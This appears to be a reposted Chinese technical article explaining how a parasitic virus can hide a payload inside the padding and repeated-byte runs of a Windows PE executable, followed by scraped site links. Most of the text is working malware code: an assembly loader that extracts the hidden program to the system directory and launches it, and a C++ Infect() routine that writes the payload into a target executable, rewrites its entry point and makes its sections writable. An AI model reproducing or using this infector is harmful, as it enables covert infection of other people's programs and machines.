有效利用PE文件内部空间植入用户程序

来源:互联网 发布:淘宝男士钱包在哪 编辑:程序博客网 时间:2024/05/18 03:07
【详细过程】
      寄生型(或者称为植入型)病毒程序将自身的可执行代码附加到宿主程序中,并修改宿主程序的入口地址。当操作系统
  执行宿主程序时,先执行的是病毒程序,随后才执行真正的宿主程序。
      最简单的寄生型病毒程序在宿主程序的尾部增加一个节,包含了全部的可执行病毒程序,但这会明显增加宿主程序的
  文件大小,极易被发现。随着对PE文件格式的深入了解,大家发现每个节的尾部有大量的富余空间可以利用,可以植入相当
  长的可执行代码,这主要是PE文件的节对齐(FileAlignment)所致。在程序执行时每个节都将被载入内存,实际的代码大小由
  各个节的VirtualSize所决定,但是由于提出了节对齐要求,PE文件中每个节的大小将会自动调整到FileAlignment的整数倍,
  当然这样做会导致每个节的实际大小大于代码的大小(碰巧相等的情况相当少见),多余的文件大小在操作系统加载PE文件时
  是无用的,因而可以充分利用这一特点,将可执行代码写入节与节之间的空隙(即补齐部分)。许多新型的病毒都是利用这一
  特点寄生在PE文件中,但是这一空间大小仍然很有限,更大一些的病毒程序代码则无法寄生了。
      本人通过仔细研究PE文件的内容,发现其内部仍有大量的空间可以用于代码植入。例如,程序内部定义变量是会产生大量
  的初始为0空间,尤其是定义数组时。以下面的数据定义为例,
      jumpaddr            dd          0
      hDaemon             dd          0        
      now_basein          dd          0
      byte_read           dd          0
      cDaemonName         db          50 dup(0)
      cSysdir             db          30 dup(0)
  程序文件产生的连续为0空间为96bytes,如果充分利用这一空间,对于提高寄生代码的长度非常有意义。当然需要寻找的空间
  并不一定要连续为0,也可以连续为别的数据。
      在执行宿主程序之前,寄生代码将潜伏在宿主中的可执行代码取出,生成完整的寄生程序,并恢复宿主原有的数据内容。
  实现这一设想的关键技术有以下几个:
      1、寻找宿主程序中的可用空间
      2、寄生代码在宿主程序中的数据结构
      3、寄生代码的重组
      4、宿主程序数据的恢复
  
   关键1的解决方法很简单:在宿主程序中寻找数据连续相等的位置,以byte为单位计算。
   关键2的解决方法要求信息完整,保证有效提取寄生程序,保证能够有效恢复原有数据。在这里采用如下的结构
   struct Header
   {
      BYTE  originData;
      DWORD DataLength;
      DWORD NextVirtualAddress;
   },共9 bytes.
   有了关键2的解决方法,关键3和4的解决就相对容易多了
   do NextVirtualAddress!=0
  {  
     Code = Code + NextVirtualAddress[0]~NextVirtualAddress[DataLength-1]
     NextVirtualAddress[0-8]~NextVirtualAddress[DataLength-1]=NextVirtualAddress[0]~NextVirtualAddress[-9]
  }
    具体的实现方法见源代码,里面还有许多具体的处理技巧。
  
    具体的处理过程如下:
    1、编写 Loader.asm,生成可执行文件,用PEid将Loader的关键节提取出来 loader.exe.section-3.dmp
    2、编写 daemon.cpp,生成可执行文件daemon.exe并用upx压缩,这样做无非就是想尽量缩减exe文件大小
    3、将daemon.exe和loader.exe.section-3.dmp拷贝只一个文件 copy /b daemon.exe + loader.exe.section-3.dmp ND.exe
    4、运行ND文件即可。
  
  ;**************************************************************
  ;*                                                            *
  ;*                        Loader.asm                          *
  ;*                                                            *
  '**************************************************************
  .386
  .model flat,stdcall
    option casemap:none
  
    include windows.inc
    include kernel32.inc
    include comctl32.inc
    include user32.inc
    include gdi32.inc
    include comdlg32.inc
    include shell32.inc  
  
    includelib gdi32.lib
    includelib kernel32.lib
    includelib comctl32.lib
    includelib user32.lib
    includelib comdlg32.lib
    includelib shell32.lib
  
  .code
      invoke ExitProcess,0
  ;主程序代码,Loader执行完后会转入此处,最终无用。
  
  
   Loader SEGMENT PARA USE32 "Loader"
      assume cs:Loader ,ds:Loader
   vstart:
      push ebp
      push esp
      call nstart
   nstart:    
  ;;;;;;;;;;;;;
      pop ebp
      sub ebp,offset nstart
  ;常用的一种方法。得到一个偏移差。
  ;程序后面用到的所有变量都需要加上个这偏移差
  ;------------------------------------(上面的)--
  
      mov now_basein[ebp],401000h
  ;   正确的程序入口,需要根据实际情况修改
      mov edi,401000h
  ;   数据提取地址,需要根据实际情况修改    
  ;------------------------------------(上面的)--
  
      push 50
      lea  eax, cSysdir[ebp]  ;Daemon
      push eax
      call vGetSystemDirectory
  
      mov eax, ebp
      add eax, ebx
      add eax, edi
      
      push eax
      lea  eax, cSysdir[ebp]  ;Daemon    
      push eax    
      lea  eax, cFmtstr[ebp]
      push eax
      lea  eax, cDaemonName[ebp]  ;Daemon
      push eax
      call vwsprintf
      add esp,10h ;保证堆栈平衡
      
      push 0
      push FILE_ATTRIBUTE_NORMAL
      push Create_ALWAYS
      push 0
      push FILE_SHARE_READ+FILE_SHARE_WRITE
      push GENERIC_READ+GENERIC_WRITE
      lea eax, cDaemonName[ebp]  ;Daemon
      push eax
      call vCreateFile
  
      mov hDaemon[ebp],eax        
  ;打开文件Daemon
  ;------------------------------------(上面的)--
  
  ; originData   DataLength   NextAddress
  ;   1 db        1 dd          1 dd  
  
  loop_extract:
  
      mov esi, edi
      mov dh, byte ptr [esi]          ; dh - data to be restored
      mov ebx, dword ptr [esi+1]      ; ebx - DataLength
      mov edi, dword ptr [esi+5]      ; edi - NextAddress
      
      cmp ebx,0        ;DataLength=0,continue
      jle label_1
      
      cmp hDaemon[ebp],INVALID_HANDLE_VALUE
      jz label_1       ;跳过写Daemon,继续恢复数据  
  
      push edx
      push 0
      lea  eax,byte_read[ebp]
      push eax
      push ebx
      add  esi, 9
      push esi
      push hDaemon[ebp]
      call vWriteFile
  ;写数据
  ;---------------------------------------
      pop edx
      lea eax, vstart[ebp]
      cmp eax, esi
      jz  label_1  
  ;如果是Loader,不需要恢复原始数据
      
      add ebx,8
  loop_restore:    
      mov byte ptr [esi-9+ebx], dh
      dec ebx
      jnz loop_restore    
  ;恢复原始数据
  ;---------------------------------------
  
  label_1:
      cmp  edi, 0
      je   finish_read
      
  ; 下一段的入口地址NextAddress为0表示结束    
  ;--------------------------------------------
      jmp  loop_extract
          
  finish_read:
  
      push hDaemon[ebp]
      call vCloseHandle
      
      lea eax,cSysdir[ebp]
      push SW_SHOW
      push eax
      push eax
      lea  eax,cDaemonName[ebp]
      push eax
      lea  eax,cOpCode[ebp]
      push eax
      push NULL
      call vShellExecute
  ;打开提取出来的文件
  ;------------------------------------(上面的)--
  
  createfail:
  ;###########################################;
  ; 恢复寄存器,跳回原程序处  
  ;------------------------------------------
       mov eax,now_basein[ebp]
       pop esp
       pop ebp
       push eax
  ;-------< 做好返回原程序的准备 >-----------
  
      ret     ;返回主程序
  
  ;--------------------------
  ; 函数调用地址
  ;--------------------------
   vGetWindowsDirectory:
      mov jumpaddr[ebp],7C82293Bh
      jmp jumpaddr[ebp]
  ;00402004 >7C82293B  kernel32.GetWindowsDirectoryA
  
   vGetSystemDirectory:
      mov jumpaddr[ebp],7C814C63h
      jmp jumpaddr[ebp]
  ;00402004 >7C814C63  kernel32.GetSystemDirectoryA
      
   vGetCommandLine:
      mov jumpaddr[ebp],7C812C8Dh
      jmp jumpaddr[ebp]
  ;00402000 >7C812C8D  kernel32.GetCommandLineA
   vwsprintf:
      mov jumpaddr[ebp],77D1A2DEh
      jmp jumpaddr[ebp]
  ;00402010 >77D1A2DE  user32.wsprintfA
  
   vCreateFile:
      mov jumpaddr[ebp],7C801A24h
      jmp jumpaddr[ebp]
  ;00490628 >7C801A24  kernel32.CreateFileA
  
    vSetFilePointer:
      mov jumpaddr[ebp],7C810DA6h
      jmp jumpaddr[ebp]
   ;00490634 >7C810DA6  kernel32.SetFilePointer
  
    vReadFile:
      mov jumpaddr[ebp],7C80180Eh
      jmp jumpaddr[ebp]
  ;00490638 >7C80180E  kernel32.ReadFile
  
    vWriteFile:
      mov jumpaddr[ebp],7C810F9Fh
      jmp jumpaddr[ebp]
  ;0049061C >7C810F9F  kernel32.WriteFile
  
    vCloseHandle:
      mov jumpaddr[ebp],7C809B77h
      jmp jumpaddr[ebp]
  ;00490654 >7C809B77  kernel32.CloseHandle
  
    vMessageBox:
      mov jumpaddr[ebp],77D5050Bh
      jmp jumpaddr[ebp]
  ;00402008 >77D5050B  user32.MessageBoxA
  
   vGetSystemTime:
      mov jumpaddr[ebp],7C80176Bh
      jmp jumpaddr[ebp]
  ;00402000 >7C80176B  kernel32.GetSystemTime
  
    vExitProcess:
      mov jumpaddr[ebp],7C81CAA2h
      jmp jumpaddr[ebp]
      
  ;00490600 >7C81CAA2  kernel32.ExitProcess
    vShellExecute:
      mov jumpaddr[ebp],773EFE44h
      jmp jumpaddr[ebp]
  ;ds:[0040200C]=773EFE44 (shell32.ShellExecute)
  
  
  ;不同的WIN系统这里的地址是不同的。
  ;因此说并不是每个WIN系统都会传染的
  ;------------------------------------(上面的)--  
  
      ALIGN 4
      jumpaddr            dd          0
      hDaemon             dd          0        
      now_basein          dd          0
      byte_read           dd          0
      cOpCode             db          "open",0
      cDaemonName         db 50 dup(0)
      cSysdir             db 30 dup(0)
      cFmtstr      db "%s/%lX.exe"
  
   vend:
   Loader ends
  
  end vstart
  
  
  //**************************************************************
  //*                                                            *
  //*                       daemon.cpp                           *
  //*                                                            *
  //**************************************************************
  
  
  #include <stdio.h>
  #include <stdlib.h>
  #include <windows.h>
  #include <SHELLAPI.H>
  struct SectionInfo
  {
    BYTE Flag;
    struct _CurrentPos__
    {
      DWORD RawAddress;
      DWORD VirtualAddress;
    } CurrentPos;
    union __Length__
    {
      DWORD DataLength;
      DWORD FreeSpace;
    }Length;
    struct __NextPos__
    {
      DWORD RawAddress;
      DWORD VirtualAddress;
    }NextPos;
  };
     const int LoaderSize=567 ;  // loader.exe.section-3.dmp的大小
     const int DaemonSize=33280 ;// daemon.exe大小,如果压缩过,则应改为压缩后的文件大小
     const int ep=0x14;          // Loader.asm中 mov now_basein[ebp],401000h,401000h的二进制偏移
     const int head_size=9;      // 关键2中提出的数据结构大小
  
  
  
  bool Infect()
  {
    bool ret=true;
          char *HostName="c://target.exe";
    char *DataName="c://ND.exe";      //需要写入的数据 daemon+loader
    LONG e_lfanew;
    LONG PE_sig;
  
    IMAGE_FILE_HEADER FileHeader;
    IMAGE_OPTIONAL_HEADER OptionalHeader;
  
    struct SectionInfo  *mySecInfo;
  
    IMAGE_SECTION_HEADER  *SectionHeader;
    bool LoaderSecInfo;
    bool SuitableInject;
  
    HANDLE hHost,hData;
    unsigned int i,j;
    DWORD tmp;
    char cc;
    int cnt;
    unsigned int id=1;
    int FreeSpace=0;
  
    char  *data;
    char  *LoaderData,*DaemonData;
    DWORD bytes_write=0;
    DWORD bytes_read;
    DWORD LoaderSection=0xFF;
  
    mySecInfo=(struct SectionInfo *)GlobalAlloc(0,sizeof(SectionInfo)*2000);
    if(mySecInfo==NULL)
    {
  #ifdef _DEBUG
      printf("mySecInfo==NULL /n");
  #endif
      ret=false;
      goto exit_IO;
    }
    hHost=CreateFile(HostName, GENERIC_WRITE|GENERIC_READ, FILE_SHARE_WRITE|FILE_SHARE_READ,
            NULL, OPEN_EXISTING, NULL, NULL);
    hData=CreateFile(DataName, GENERIC_WRITE|GENERIC_READ, FILE_SHARE_WRITE|FILE_SHARE_READ,
            NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
  
    if(hHost==INVALID_HANDLE_VALUE || hData==INVALID_HANDLE_VALUE)
    {
  #ifdef _DEBUG
      printf("hHost==NULL || hData==NULL /n");
  #endif
      ret=false;
      goto exit_IO;
    }
  //读取PE入口地址
    SetFilePointer(hHost,0x3C,0,FILE_BEGIN);
    ReadFile(hHost,&e_lfanew,sizeof(e_lfanew),&bytes_read,0);
    SetFilePointer(hHost,e_lfanew,0,FILE_BEGIN);
    ReadFile(hHost,&PE_sig,sizeof(PE_sig),&bytes_read,0);
    if(PE_sig!=IMAGE_NT_SIGNATURE)
    {
  #ifdef _DEBUG
      printf("PE_sig!=IMAGE_NT_SIGNATURE/n");
  #endif
      ret=false;
      goto exit_IO;// not NT file
    }
    
    ReadFile(hHost,&FileHeader,sizeof(IMAGE_FILE_HEADER),&bytes_read,0);
    ReadFile(hHost,&OptionalHeader,sizeof(IMAGE_OPTIONAL_HEADER),&bytes_read,0);
  
    SectionHeader=(IMAGE_SECTION_HEADER *)GlobalAlloc(0,sizeof(IMAGE_SECTION_HEADER)*FileHeader.NumberOfSections);
    if(SectionHeader==NULL)
    {
  #ifdef _DEBUG
      printf("SectionHeader==NULL/n");
  #endif
      //system("pause");
      ret=false;
      goto exit_IO;
    }
  
    FreeSpace=0;
    //printf("FileHeader.NumberOfSections= %x/n",FileHeader.NumberOfSections);
    
    //读取各Section的信息
    for(i=0;i<FileHeader.NumberOfSections;i++)
      ReadFile(hHost,&SectionHeader[i],sizeof(IMAGE_SECTION_HEADER),&bytes_read,0);
  
    //寻找可以写入Daemon和Loader的空间
    LoaderSecInfo=false;
    SuitableInject=false;
  
    id=1;
    for(i=0;i<FileHeader.NumberOfSections;i++)
    {
      //优先寻找存放Loader的空间
      if(SectionHeader[i].SizeOfRawData>SectionHeader[i].Misc.VirtualSize+LoaderSize+head_size)
      {
        mySecInfo[0].Length.DataLength=LoaderSize;
        mySecInfo[0].Flag=0;
        mySecInfo[0].NextPos.RawAddress=0;
        mySecInfo[0].NextPos.VirtualAddress=0;
        mySecInfo[0].CurrentPos.VirtualAddress=SectionHeader[i].VirtualAddress+
                          SectionHeader[i].Misc.VirtualSize+OptionalHeader.ImageBase;
        mySecInfo[0].CurrentPos.RawAddress=SectionHeader[i].PointerToRawData+SectionHeader[i].Misc.VirtualSize;
        LoaderSecInfo=true;
        LoaderSection=i;
        if(SectionHeader[i].SizeOfRawData>SectionHeader[i].Misc.VirtualSize+LoaderSize+0x60) //如果存放Loader后仍有空间,继续存放Daemon
        {
          id=1;
          mySecInfo[id].Length.DataLength=SectionHeader[i].SizeOfRawData-SectionHeader[i].Misc.VirtualSize
                                               -LoaderSize-head_size*2;
          mySecInfo[id].Flag=0;
          mySecInfo[id].CurrentPos.VirtualAddress=mySecInfo[0].CurrentPos.VirtualAddress
                                                +mySecInfo[0].Length.DataLength+head_size;
          mySecInfo[id].CurrentPos.RawAddress=mySecInfo[0].CurrentPos.RawAddress
                                             +mySecInfo[0].Length.DataLength+head_size;
          FreeSpace+=mySecInfo[id].Length.DataLength;
          id+=1;
        }
        break;
      }
    }
    if(!LoaderSecInfo)
    {
  #ifdef _DEBUG
      printf("LoaderSecInfo==NULL/n");
  #endif
      ret=false;
      goto exit_IO;
    }
    for(i=0;i<FileHeader.NumberOfSections;i++)
    {
      if(SectionHeader[i].SizeOfRawData<SectionHeader[i].Misc.VirtualSize)
        continue;
      data=(char *)GlobalAlloc(0,SectionHeader[i].SizeOfRawData);
      if(data==NULL)
      {
  #ifdef _DEBUG
        printf("data==NULL/n");
  #endif
        //system("pause");
        ret=false;
        goto exit_IO;
      }
  
      SetFilePointer(hHost,SectionHeader[i].PointerToRawData,0,FILE_BEGIN);
      if(i==LoaderSection)
        bytes_read=SectionHeader[i].Misc.VirtualSize;
      else
        bytes_read=SectionHeader[i].SizeOfRawData;
      ReadFile(hHost,data,bytes_read,&tmp,0);
  
      cc=data[0];
      cnt=1;
      mySecInfo[id].CurrentPos.VirtualAddress=SectionHeader[i].VirtualAddress+OptionalHeader.ImageBase;
      mySecInfo[id].CurrentPos.RawAddress=SectionHeader[i].PointerToRawData;
  
      for(j=1;j<bytes_read;j++)
      {
        if(data[j]==cc)
          cnt+=1;
        else
        {
          if(cnt>0x50) //可以用于数据存放的空间长度下限
          {
            mySecInfo[id].Flag=cc;
            mySecInfo[id].Length.DataLength=cnt-head_size;
            FreeSpace+=mySecInfo[id].Length.DataLength;
            id+=1;
            if(FreeSpace>=DaemonSize)
            {
              mySecInfo[id-1].Length.DataLength-=(FreeSpace-DaemonSize);
              mySecInfo[id-1].NextPos.RawAddress=mySecInfo[0].CurrentPos.RawAddress;
              mySecInfo[id-1].NextPos.VirtualAddress=mySecInfo[0].CurrentPos.VirtualAddress;
              SuitableInject=true;
              GlobalFree(data);
              i=0xFFFFFFF;
              j=0xFFFFFFF;
              break;
            }
          }
          cc=data[j];
          cnt=1;
          mySecInfo[id].CurrentPos.VirtualAddress=SectionHeader[i].VirtualAddress+j+OptionalHeader.ImageBase;
          mySecInfo[id].CurrentPos.RawAddress=SectionHeader[i].PointerToRawData+j;
          mySecInfo[id-1].NextPos.RawAddress=mySecInfo[id].CurrentPos.RawAddress;
          mySecInfo[id-1].NextPos.VirtualAddress=mySecInfo[id].CurrentPos.VirtualAddress;
        }
      }
      if(data!=NULL)
        GlobalFree(data);
  //    printf("/t/tFreeSpace: %x/n",FreeSpace);
  //    system("pause");
    }
  
  #ifdef _DEBUG
    printf("=======================================/n");
  #endif
    //printf("LoaderSize =  0x%x  /n",LoaderSize);
    //printf("FreeSpace  =  0x%x  /n",FreeSpace);
    //printf("DaemonSize =  0x%x  /n",DaemonSize);
    //system("pause");
  
    if(!LoaderSecInfo || !SuitableInject)
    {
      ret=false;
      goto exit_IO;
    }
  #ifdef _DEBUG
    
    for(j=1;j<=id-1;j++)
    {
      printf("/t/tIndex: %x/n",j);
      printf("/t/tFreeSpace: %x/n",mySecInfo[j].Length.DataLength);
      printf("/t/tVirtualAddress: %x/n",mySecInfo[j].CurrentPos.VirtualAddress);
      printf("/t/tRawAddress: %x/n",mySecInfo[j].CurrentPos.RawAddress);
      printf("/t/tData: %x/n",mySecInfo[j].Flag);
      printf("/t/tNextPos: %x/n",mySecInfo[j].NextPos);
      printf("/n");    
    }
    j=0;
    printf("/t/tIndex: %x/n",j);
    printf("/t/tFreeSpace: %x/n",mySecInfo[j].Length.DataLength);
    printf("/t/tVirtualAddress: %x/n",mySecInfo[j].CurrentPos.VirtualAddress);
    printf("/t/tRawAddress: %x/n",mySecInfo[j].CurrentPos.RawAddress);
    printf("/t/tData: %x/n",mySecInfo[j].Flag);
    printf("/t/tNextPos: %x/n",mySecInfo[j].NextPos);
    printf("/n");    
    system("pause");
  #endif
    DaemonData=(char*)GlobalAlloc(0,DaemonSize);
    if(DaemonData==NULL)
    {
      ret=false;
      goto exit_IO;
    }  
    LoaderData=(char*)GlobalAlloc(0,LoaderSize);
    if(LoaderData==NULL)
    {
      GlobalFree(DaemonData);
      ret=false;
      goto exit_IO;
    }
  
    ReadFile(hData,DaemonData,DaemonSize,&bytes_read,0);
    ReadFile(hData,LoaderData,LoaderSize,&bytes_read,0);
    data=DaemonData;
    //写入Daemon,(DataFlag,DataLength,Next_VirtualAddress,共9个字节)
    for(j=1;j<=id-1;j++)
    {
      SetFilePointer(hHost,mySecInfo[j].CurrentPos.RawAddress,0,FILE_BEGIN);
      WriteFile(hHost,&mySecInfo[j].Flag,1,&tmp,0);
      //WriteFile(hHost,&mySecInfo[j].CurrentPos.VirtualAddress,4,&tmp,0);
      WriteFile(hHost,&mySecInfo[j].Length.DataLength,4,&tmp,0);
      WriteFile(hHost,&mySecInfo[j].NextPos.VirtualAddress,4,&tmp,0);
      WriteFile(hHost,data,mySecInfo[j].Length.DataLength,&tmp,0);
      data+=mySecInfo[j].Length.DataLength;
    }
  
    data=LoaderData;
    //在Loader中填写Host的原始EntryPoint
    tmp=OptionalHeader.AddressOfEntryPoint+OptionalHeader.ImageBase;
    data[ep  ]=(char)(tmp&0x000000ff);
    data[ep+1]=(char)((tmp&0x0000ff00)>>8);
    data[ep+2]=(char)((tmp&0x00ff0000)>>16);
    data[ep+3]=(char)((tmp&0xff000000)>>24);
          
          //在Loader中填写Daemon的第一段数据偏移地址
    tmp=mySecInfo[1].CurrentPos.VirtualAddress;
    data[ep+5]=(char)(tmp&0x000000ff);
    data[ep+6]=(char)((tmp&0x0000ff00)>>8);
    data[ep+7]=(char)((tmp&0x00ff0000)>>16);
    data[ep+8]=(char)((tmp&0xff000000)>>24);
  
    SetFilePointer(hHost,mySecInfo[0].CurrentPos.RawAddress,0,FILE_BEGIN);
    WriteFile(hHost,&mySecInfo[0].Flag,1,&tmp,0);
    WriteFile(hHost,&mySecInfo[0].Length.DataLength,4,&tmp,0);
    WriteFile(hHost,&mySecInfo[0].NextPos.VirtualAddress,4,&tmp,0);
    WriteFile(hHost,data,mySecInfo[0].Length.DataLength,&tmp,0);
  
    GlobalFree(DaemonData);
    GlobalFree(LoaderData);
  
    //OptionalHeader的+16位置为EntryPoint
    SetFilePointer(hHost,e_lfanew+sizeof(PE_sig)+sizeof(IMAGE_FILE_HEADER)+16,0,FILE_BEGIN);
    tmp=mySecInfo[0].CurrentPos.VirtualAddress-OptionalHeader.ImageBase+9; //第9个字节为可执行代码
    WriteFile(hHost,&tmp,4,&bytes_write,0); //改写EntryPoint
  
    //将Section属性改为可读和可写
    SetFilePointer(hHost,e_lfanew+sizeof(IMAGE_NT_SIGNATURE)+sizeof(IMAGE_FILE_HEADER)+sizeof(IMAGE_OPTIONAL_HEADER)
        ,0,FILE_BEGIN);
    for(i=0;i<FileHeader.NumberOfSections;i++)
    {
      SectionHeader[i].Characteristics=SectionHeader[i].Characteristics|0x40000000|0x80000000;
      WriteFile(hHost,&(SectionHeader[i]),sizeof(IMAGE_SECTION_HEADER),&tmp,0);
    }
    GlobalFree(SectionHeader);
    GlobalFree(mySecInfo);
  #ifdef _DEBUG
    printf("OK!/n");
  #endif
    ret=true;
  exit_IO:
    CloseHandle(hHost);
    CloseHandle(hData);
    return ret;
  }
  
  
  
  在研究过程中参考了BadDay病毒、看雪论坛出的PE文件格式研究,在此向所有作者表示感谢。
  出于安全考虑此处就不贴出完整的源代码和编译好的程序,对病毒有兴趣的朋友可以私下交流研究
原创粉丝点击
热门问题 老师的惩罚 人脸识别 我在镇武司摸鱼那些年 重生之率土为王 我在大康的咸鱼生活 盘龙之生命进化 天生仙种 凡人之先天五行 春回大明朝 姑娘不必设防,我是瞎子 拔罐放血后头晕怎么办 e道航界面不动怎么办 微信必须打开位置权限怎么办 魅族sim卡未启用怎么办 苹果6sgps信号弱怎么办 苹果5s4g网络慢怎么办 苹果5s上网很慢怎么办 手机一体机死机关不了机怎么办 联想一体机关不了机怎么办 纸巾盒的吸盘老化了怎么办 粘的挂钩老掉怎么办 车载手机支架吸盘吸不住怎么办 吸盘吸不住怎么办才好? 行车记录仪吸盘吸不住怎么办 小米儿童手表二维码丢了怎么办 艾蔻手表二维码丢失了怎么办 玩具直升机遥控器坏了怎么办 玩具飞机遥控器坏了怎么办 玩具无人机遥控器坏了怎么办 玩具遥控车遥控器坏了怎么办 用遥控器关电视后打不开怎么办 汽车遥控器按键坏了怎么办 用遥控器关了电视打不开怎么办 遥控器一个按键坏了怎么办 电视用遥控器关的打不开怎么办 电动车遥控器按键坏了怎么办 海尔空调遥控器按键坏了怎么办 汽车手机支架吸盘吸不住怎么办 车载手机支架吸盘坏了怎么办 假牙的吸盘坏了怎么办 燃气费用一直未交怎么办 凌度gps模块无法定位怎么办? 放疗定位线掉了怎么办 被网络平台骗了怎么办 手机重力传感器坏了怎么办 锤子手机重力传感器坏了怎么办 平板电脑没有开关键怎么办 手机重力感应器坏了怎么办 苹果手机重力感应器坏了怎么办 苹果手机陀螺仪坏了怎么办 狗狗的爪子肿了怎么办